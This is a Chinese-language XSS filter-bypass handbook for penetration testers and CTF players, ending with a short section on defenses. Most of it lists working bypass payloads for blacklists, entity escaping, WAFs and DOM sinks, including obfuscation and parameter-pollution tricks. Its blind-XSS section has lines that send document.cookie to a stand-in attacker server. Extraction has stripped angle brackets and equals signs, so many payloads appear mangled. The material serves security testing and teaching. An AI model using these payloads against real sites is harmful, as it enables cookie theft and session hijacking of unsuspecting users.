1. 项目概述为什么我们需要一本“绕过”手册在安全测试和渗透测试的日常工作中遇到一个存在跨站脚本攻击XSS漏洞的站点往往只是万里长征的第一步。更常见的情况是你满怀信心地输入一个经典的scriptalert(1)/script结果页面要么纹丝不动要么弹出一个冷冰冰的“非法输入”提示。这时候新手可能会直接放弃标记为“已修复”。但经验丰富的安全研究员知道真正的较量才刚刚开始——这就是“绕过”的艺术。这本《跨站脚本攻击XSS速查手册绕过篇》的初衷正是为了应对这种场景。它不打算从零开始教你什么是反射型、存储型或DOM型XSS这些基础知识是入场券。我们聚焦于当基础攻击向量被拦截后如何像解谜一样层层拆解前端的过滤与防护机制找到那条被隐藏起来的执行路径。无论是开发人员无意中留下的逻辑缺陷还是安全产品WAF过于僵硬的规则集都可能成为我们绕过的突破口。掌握这些技巧不仅能让你在CTF比赛中游刃有余更能深刻理解防御方蓝队的思维从而在真实漏洞挖掘和代码审计中构建起更立体的攻防视角。2. 绕过核心思路理解过滤器的“语言”所有的XSS绕过本质上都是一场与输入过滤器的对话。你不能用对方听不懂的语言去命令它。因此绕过的第一步永远是侦察与理解。你需要弄清楚目标到底采用了哪些防护措施。2.1 常见的防护层与侦察手法现代Web应用的防护通常是多层次的你需要一层层去试探。1. 客户端过滤前端JavaScript验证这是最常见也最容易绕过的一层。你在输入框里输入script还没点击提交页面上的JavaScript可能就把它给清空了或者直接弹出警告。侦察方法直接查看网页源代码搜索oninput、onkeyup、onblur等事件处理函数或者查找是否有引入外部的.js过滤库。更简单的方法是禁用浏览器JavaScriptF12开发者工具中可设置然后提交数据看过滤是否还存在。绕过思路既然过滤逻辑在客户端那么一切客户端控制的手段都有效。比如使用Burp Suite等代理工具拦截并修改HTTP请求直接向服务器发送“原汁原味”的Payload完全绕过前端JavaScript的检查。2. 服务端过滤后端逻辑处理这是更稳固的防线。服务器收到你的输入后会进行一系列处理比如寻找并删除script、onerror等敏感标签和属性将、等字符转换成HTML实体如lt;、gt;或者完全拒绝包含特定关键词的请求。侦察方法这里没有取巧的办法只能通过“模糊测试”Fuzzing。系统地提交各种变体的Payload观察服务器的响应。是直接返回错误是删除了部分字符还是进行了编码转换响应内容就是你的侦察报告。绕过思路基于响应进行分析。如果是黑名单过滤列出坏东西就寻找名单的遗漏如果是转换编码就寻找解码的时机和场景如果是正则表达式过滤就利用正则的局限性构造畸形Payload。3. 网络层过滤Web应用防火墙 - WAFWAF像一道关卡在请求到达你的Web服务器之前进行拦截。它通常基于已知的攻击特征库进行规则匹配。侦察方法提交一个极其基础的XSS Payload如scriptalert(1)/script。如果请求被阻断返回403等状态码或者你收到了WAF厂商如Cloudflare、阿里云盾的特有错误页面那么WAF很可能存在。观察被阻断的请求和正常请求的响应头差异有时也能发现WAF的指纹如Server: cloudflare或有特定的头字段如X-Protected-By。绕过思路WAF依赖规则规则就有盲区。思路包括混淆让Payload看起来不像Payload、拆分让一个危险的Payload分多次请求或分布在不同参数中、利用协议特性如HTTP参数污染、畸形请求格式以及寻找规则白名单比如对/admin/路径的请求检查更宽松。注意在实际渗透测试或漏洞挖掘中务必获得明确的书面授权。未经授权的测试是违法行为。本文所有技术讨论仅用于安全研究与授权测试场景。2.2 构建你的绕过“武器库”思维模型面对过滤不要盲目尝试。建立以下思维模型能让你系统地思考同义替换如果script被过滤有没有功能等价的其他标签比如img src1 onerroralert(1)或者svg onloadalert(1)甚至利用link、iframe等标签。字符逃逸如果和被转义成实体有没有地方它们不会被转义例如在HTML标签的属性值里如果属性值没有被引号括好或者我们能够提前闭合引号就可能逃逸出来。Payload如“ onmouseoveralert(1) x”当输入被放入input value”YOUR_INPUT”时就会构造出input value”” onmouseoveralert(1) x””。编码与解码服务器可能只防一层编码。你可以尝试双重URL编码、HTML实体编码、JavaScript Unicode编码\u0061\u006c\u0065\u0072\u0074表示alert。关键是要预测输入会在哪个上下文被解码。例如在script标签内的JavaScript代码中\u0061\u006c\u0065\u0072\u0074(1)是会被浏览器正常解码执行的。利用解析差异浏览器解析HTML、JavaScript的顺序和容错性是一把双刃剑。例如在script标签内/script标签会被优先识别即使它出现在字符串里。这就是为什么有时需要将Payload拆成/scriptscriptalert(1)/script。再比如某些场景下换行符%0a可以替代空格来分隔属性。上下文切换这是高级技巧。你的输入最初可能在一个JavaScript字符串里但通过闭合字符串、跳出语句甚至利用eval()、setTimeout()等动态执行函数可以将数据切换到可执行的代码上下文。例如输入‘;alert(1);//当它被插入到代码var userInput ‘YOUR_INPUT‘;中时就会变成var userInput ‘’ alert(1);//‘;从而执行alert。3. 分场景绕过实战详解理论需要实践来验证。下面我们针对几种最常见的过滤场景给出具体的绕过Payload和原理分析。3.1 场景一针对标签与事件处理器的过滤假设后端采用简单的黑名单过滤了script、onerror、onload等关键词。经典绕过Payload大小写混淆ScRiPtalert(1)/sCrIpT。许多简单的正则匹配是大小写敏感的。嵌套标签scrscriptiptalert(1)/scr/scriptipt。如果过滤器采用简单的字符串替换且只执行一次它会删除中间的script剩下的字符正好组合成新的script标签。利用非脚本标签img srcx onerroralert(1) 图片加载失败触发onerror。svg onloadalert(1) SVG标签支持多种事件。body onpageshowalert(1) 利用不常用的事件。input onfocusalert(1) autofocusautofocus属性让输入框自动获得焦点触发onfocus事件需要用户稍微交互如点击页面任意处。无事件处理器Payload如果事件处理器也被严格过滤可以尝试a hrefjavascript:alert(1)click/a 利用javascript:伪协议。iframe srcjavascript:alert(1) 同样原理。利用details标签的ontoggle事件details ontogglealert(1) openopen属性使其默认展开立即触发事件。这是一个相对冷门的向量。实操心得在测试时务必使用浏览器的开发者工具F12查看“元素”面板。你提交的Payload经过服务器处理和浏览器渲染后最终的HTML结构可能与你想象的不同。在这里你可以清晰地看到你的输入是否被转义、标签是否被成功插入、属性是否完整这是调试绕过Payload的黄金标准。3.2 场景二针对括号、引号、尖括号的编码转义这是更严格的防御将危险字符转换为HTML实体如-lt;,-gt;,“-quot;。绕过思路寻找“解码”的上下文或者利用不需要这些字符的Payload。在JavaScript字符串上下文内如果你的输入最终出现在script标签内的一个字符串里例如script var userData “YOUR_INPUT”; /script目标逃逸出字符串执行代码。Payload”; alert(1);//结果var userData “”; alert(1);//“;。这里我们闭合了前面的引号添加了分号结束原语句执行新代码并用//注释掉后面多余的引号。在HTML属性上下文内无引号或引号闭合例如input valueYOUR_INPUT。情况A属性值无引号直接注入事件处理器。Payload:1 onmouseoveralert(1)。 结果input value1 onmouseoveralert(1)。空格用于分隔属性。情况B属性值有单/双引号需要先闭合引号。Payload:1” onmouseover“alert(1)。 结果input value“1” onmouseover“alert(1)”。这里我们闭合了前面的双引号添加了新属性但注意后面的alert(1)缺少闭合引号可能出错。更稳健的Payload是1” onmouseover“alert(1)” x“这样也闭合了后面添加的x属性。利用HTML实体的多重解析有时服务器会转义你的输入但浏览器在特定上下文会解析它。一个非常经典的技巧是如果输入被放入一个标签的属性值中并且该属性支持URL如href、src那么你可以尝试使用HTML实体编码因为浏览器在解析URL时会对其进行解码。假设a href“YOUR_INPUT”link/a 服务器对YOUR_INPUT中的javascript:进行了过滤。Payloadjavascript:alert(1)(这里:用实体:表示)结果服务器可能只过滤明文javascript:但放行了实体编码。浏览器在设置href属性时会将:解码回:从而成功执行。3.3 场景三对抗Web应用防火墙WAFWAF通常基于正则表达式匹配关键词和模式。绕过它的核心是混淆和变形让Payload“看起来人畜无害”。标签/属性拆分利用Tab/换行符img src1换行符onerroralert(1)。某些WAF的正则可能无法跨行匹配。**利用反引号**在HTML5中反引号可以代替引号包裹属性值。img srcx οnerrοralert1。这能绕过一些针对引号的简单规则。非常规空格使用/Tab的URL编码或%0a换行代替普通空格。JavaScript代码混淆字符串拼接window[“al””ert”](1)或eval(“al””ert(1)”)。利用全局对象self[“alert”](1)或top[“alert”](document.domain)。Unicode编码\u0061\u006c\u0065\u0072\u0074(1)。利用String.fromCharCodeeval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))。协议混淆对于javascript:协议可以尝试JavaSCript:alert(1)(大小写)javascript:alert(1)(插入空格某些浏览器仍支持)javascriptalert(1)(使用全角冒号但这取决于浏览器)data:text/html,scriptalert(1)/script(使用Data URI协议)请求参数污染HPP与分块传输HPP向同一个参数名发送多个值如?paramscparamriptalert(1)/script。不同的服务器端解析器PHP/Asp.net/JSP在处理重复参数时行为不一致可能导致WAF看到的和应用程序解析到的值不同。分块传输编码Chunked Transfer Encoding将请求体分块发送可以绕过一些基于内容长度匹配的WAF检查。这通常需要借助Burp Suite的“Chunked-Encoding Converter”等扩展工具。重要提示WAF绕过是一个持续对抗的过程。今天有效的技巧明天可能就被加入规则库。因此理解原理比记忆具体Payload更重要。同时这些手法在测试Cloud WAF如Cloudflare, AWS WAF时可能效果显著因为它们有统一的规则集而对于高度定制化的硬件WAF或云WAF自定义规则则需要更精细的测试。4. 基于上下文的绕过DOM型XSS特例DOM型XSS的绕过常常别具一格因为它不经过服务器端响应而是前端JavaScript不当地操作了DOM文档对象模型。你的输入可能来自document.location.hash、document.referrer或URL片段#之后的部分。经典场景分析假设页面中有如下不安全的JavaScript代码var input document.location.hash.substring(1); // 获取URL # 后面的内容 document.getElementById(“output”).innerHTML “Search for: ” input;代码的本意是显示搜索词但它直接将URL片段#后的内容未经处理就插入了innerHTML。绕过与利用攻击者可以构造这样的URLhttps://vulnerable-site.com/page#img src1 onerroralert(document.cookie)当受害者访问此链接时document.location.hash的值是#img src1 onerroralert(document.cookie)substring(1)后去掉了#剩下的Payload被直接写入innerHTML导致XSS执行。DOM型XSS的绕过特点服务器无感知因为Payload在URL片段中#之后这部分内容不会被发送到服务器在HTTP请求中。因此任何服务器端的过滤、WAF都对此完全无效。客户端解码浏览器会自动对URL进行解码。这意味着你可以使用URL编码来隐藏Payload。例如#%3Cimg%20src%3D1%20onerror%3Dalert%281%29%3E浏览器会将其解码为#img src1 onerroralert(1)然后再交给JavaScript处理。利用源Source与汇聚点Sink分析DOM型XSS要像侦探一样追踪数据流。源Source是用户可控的输入点如location.search,location.hash,document.referrer,localStorage。汇聚点Sink是能导致代码执行的危险函数或属性如innerHTML,outerHTML,document.write(),eval(),setTimeout()with string,location.href等。绕过往往发生在从“源”到“汇”的路径上可能涉及字符串拼接、替换操作你可以利用这些操作来破坏原有的结构。一个复杂的DOM型XSS绕过示例假设代码是var path window.location.pathname; // 例如 /search/your_input var searchTerm path.split(‘/’)[2]; // 取第三部分 var safeTerm searchTerm.replace(/script/gi, “”); // 试图过滤script document.getElementById(“result”).innerHTML “You searched for: ” safeTerm;分析这里从URL路径获取输入并试图用replace过滤script标签不区分大小写。绕过replace(/script/gi, “”)只执行一次替换。我们可以使用嵌套标签技巧构造路径为/search/scrscriptiptalert(1)/script。searchTerm变为scrscriptiptalert(1)/script。replace函数找到中间的script并将其删除结果变为scriptalert(1)/script。最终危险的Payload被成功写入innerHTML。5. 自动化与工具辅助绕过手动构造和测试Payload效率低下。在实际工作中善用工具可以极大提升效率。5.1 模糊测试Fuzzing工具Burp Suite Intruder这是最强大的手动Fuzzing工具之一。你可以将Payload中可能被过滤的位置设为“载荷位置”然后加载一个预定义或自定义的“载荷集”如各种标签、事件、编码变体进行自动化攻击并对比响应快速识别哪些Payload未被过滤或触发了异常。OWASP ZAP (Zed Attack Proxy)类似Burp也提供Fuzzing功能并且是开源的。它的“模糊”功能可以方便地测试输入点。XSS Strike、XSStrike这是专门针对XSS的自动化工具。它们不仅发送大量Payload还会基于响应智能地调整Payload尝试绕过过滤。例如XSStrike会解析响应检查过滤逻辑然后生成相应的绕过Payload。5.2 Payload集合与资源SecLists这是一个巨大的安全测试载荷集合其中包含丰富的XSS Payload文件如/usr/share/seclists/Fuzzing/XSS/*。你可以直接将这些列表导入Burp Intruder进行测试。PayloadsAllTheThingsGitHub上的一个知名项目汇总了所有类型的攻击Payload其中XSS部分非常全面按场景分类是绝佳的参考手册。PortSwigger的XSS备忘单PortSwiggerBurp Suite的开发商提供的交互式XSS备忘单是学习不同上下文下Payload构造的绝佳资源。它允许你选择输入出现的上下文如在HTML标签内、在属性值内、在JavaScript字符串内等然后给出相应的攻击向量。5.3 浏览器扩展与调试浏览器开发者工具F12这是你最好的朋友。除了查看最终DOM还要善用控制台Console执行JavaScript代码测试某些Payload片段是否会被解析执行。调试器Debugger在疑似处理用户输入的JavaScript代码行设置断点单步跟踪数据如何被处理和过滤。网络Network查看原始请求和响应确认Payload是否被修改以及服务器返回了什么。浏览器扩展如XSS Hunter、BeEF的Hook脚本它们可以帮助你验证盲XSSBlind XSS漏洞。你注入一个特殊的Payload当它被执行时会向你的服务器发起请求从而证明漏洞存在即使你看不到弹窗。6. 高级绕过技巧与前沿思路当常规手段都失效时可以考虑一些更刁钻的思路。6.1 利用浏览器特性与解析怪癖字符集编码如果页面指定了特殊的字符集如ISO-8859-1某些字节序列可能会被浏览器解析成危险的字符。这属于比较偏门的技巧需要对字符编码有深入理解。template标签template标签内的内容默认不会渲染也不会执行脚本。但有些绕过技巧可以利用template的克隆content.cloneNode或与Shadow DOM的结合在特定条件下触发执行。math与svg标签的米姆化MIME-type在非常古老的浏览器或特定解析模式下这些标签可能允许脚本执行但现代浏览器已严格限制。不过在CTF中仍可能遇到模拟旧环境的题目。6.2 基于JavaScript框架的绕过现代网站大量使用React、Angular、Vue等前端框架。这些框架通常有内置的XSS防护如React默认转义所有插入JSX的字符串。但不当的使用仍然会导致漏洞危险API如React的dangerouslySetInnerHTMLVue的v-html指令。如果开发者直接将用户输入传递给这些API防护就会失效。客户端模板注入例如在AngularJS1.x中如果用户输入被直接拼接进模板且沙箱被绕过AngularJS 1.6以后沙箱已被移除可能导致严重的XSS。Payload类似{{constructor.constructor(‘alert(1)’)()}}。URL/跳转处理框架的导航或路由功能如果未经验证就使用了用户可控的输入可能导致javascript:协议的执行。6.3 盲XSSBlind XSS的利用与绕过盲XSS中你的Payload被存储在后端如数据库、日志系统并在另一个由管理员或特定用户访问的页面中渲染执行。你看不到执行结果。绕过挑战你面对的可能是完全不同的上下文比如一个后台的管理面板它的过滤规则可能比前台更严格或更宽松。策略投石问路先注入一些简单的、能“打电话回家”的Payload。最经典的是使用外带Out-of-Band, OOB技术。例如img src“http://your-server.com/?c”document.cookie。如果漏洞存在你的服务器会收到一个包含cookie的HTTP请求。可以使用XSS Hunter或Burp Collaborator这类工具来自动化接收这些回连请求。上下文探测由于看不到渲染页面你需要猜测Payload执行的上下文。可以注入一系列探测Payload如“img src1 onerror“fetch(‘http://yourserver.com/?ctxhtml_attr’)”测试是否在HTML属性内/scriptscriptfetch(‘http://yourserver.com/?ctxjs’)/script测试是否在JS上下文‘;fetch(‘http://yourserver.com/?ctxjs_str’);//测试是否在JS字符串内 根据服务器收到的请求参数你可以判断Payload在目标页面中的执行上下文从而定制最终的利用Payload。7. 防御视角从绕过中学到的防护经验作为一名渗透测试人员或安全研究员研究绕过的终极目的是为了构建更坚固的防御。每一次成功的绕过都揭示了一种防御的不足。黑名单永远会失败正如我们所见标签、事件、编码方式层出不穷黑名单无法穷尽。白名单是唯一可靠的方法。只允许已知安全的字符或模式例如姓名字段只允许字母、空格和少数标点。在正确的上下文进行编码/转义输出到HTML正文转义,,,“,’。输出到HTML属性值除了以上还要转义引号根据使用的引号类型。输出到JavaScript代码/数据使用JSON编码JSON.stringify()是最安全的方式或者进行严格的JavaScript Unicode转义。输出到URL参数进行URL编码。现代前端框架尽可能使用框架提供的安全数据绑定方式如React的{}Vue的{{ }}或v-bind避免直接操作innerHTML。使用内容安全策略CSPCSP是一个强大的深度防御措施。它通过HTTP头告诉浏览器哪些来源的脚本、样式、图片等资源是可以加载和执行的。一个严格的CSP如script-src ‘self’可以极大地缓解XSS的影响即使漏洞存在攻击者也无法加载和执行外部恶意脚本。但CSP的配置需要仔细错误的配置如允许‘unsafe-inline’会使其形同虚设。输入验证与输出编码相结合在服务器端对输入进行严格的格式、长度、类型验证白名单原则并在输出时根据即将嵌入的上下文进行编码。切记编码必须在最后一次输出时进行而不是在存储时。同一份数据在不同页面、不同位置可能需要不同的编码方式。避免危险的DOM操作前端开发中尽量避免使用innerHTML、outerHTML、document.write()。如果必须使用务必对插入的内容进行净化和编码。优先使用textContent或setAttribute等更安全的API。绕过的艺术是一场永无止境的智力游戏。它考验你对Web技术栈HTML、JS、HTTP、浏览器的深刻理解以及创造性的思维。这本手册提供的思路和案例是武器库的基石但真正的突破往往来自于对目标系统独特性细致入微的观察和天马行空的联想。保持好奇持续学习永远在合法合规的范围内进行探索你不仅能成为一名出色的漏洞猎人更能成长为一名能够设计出真正安全系统的架构师。